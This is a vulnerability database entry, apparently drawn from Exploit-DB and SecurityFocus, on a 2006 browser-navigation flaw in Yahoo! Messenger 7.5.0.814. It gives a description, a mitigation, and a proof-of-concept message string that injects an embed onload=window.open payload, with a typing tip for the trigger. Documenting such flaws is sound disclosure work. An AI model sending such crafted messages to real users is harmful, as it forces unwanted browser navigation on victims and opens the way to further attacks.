Yahoo! Messenger Browser-Navigation Vulnerability

vendor:

Messenger

by:

SecurityFocus

7.5

CVSS

HIGH

Browser-Navigation Vulnerability

CWE

Product Name: Messenger

Affected Version From: 7.5.0.814

Affected Version To: 7.5.0.814

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Yahoo! Messenger Browser-Navigation Vulnerability

Yahoo! Messenger is prone to a browser-navigation vulnerability that may permit a remote attacker to open a browser window on the victim user's computer to an arbitrary page. This issue occurs because the application fails to sanitize malicious messages. An attacker may be able to exploit this issue to execute a web browser and load an arbitrary web page. This may lead to other attacks.

Mitigation:

Ensure that all user input is properly sanitized and validated.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/19211/info

Yahoo! Messenger is prone to a browser-navigation vulnerability that may permit a remote attacker to open a browser window on the victim user's computer to an arbitrary page.

This issue occurs because the application fails to sanitize malicious messages.

An attacker may be able to exploit this issue to execute a web browser and load an arbitrary web page. This may lead to other attacks.

This issue affects version 7.5.0.814; other versions may also be vulnerable.

The following examples are sufficient to trigger this issue:

:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg

:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(

Note: "helomsg :" this space must be created with
alt+0160 and this "s: " with a space.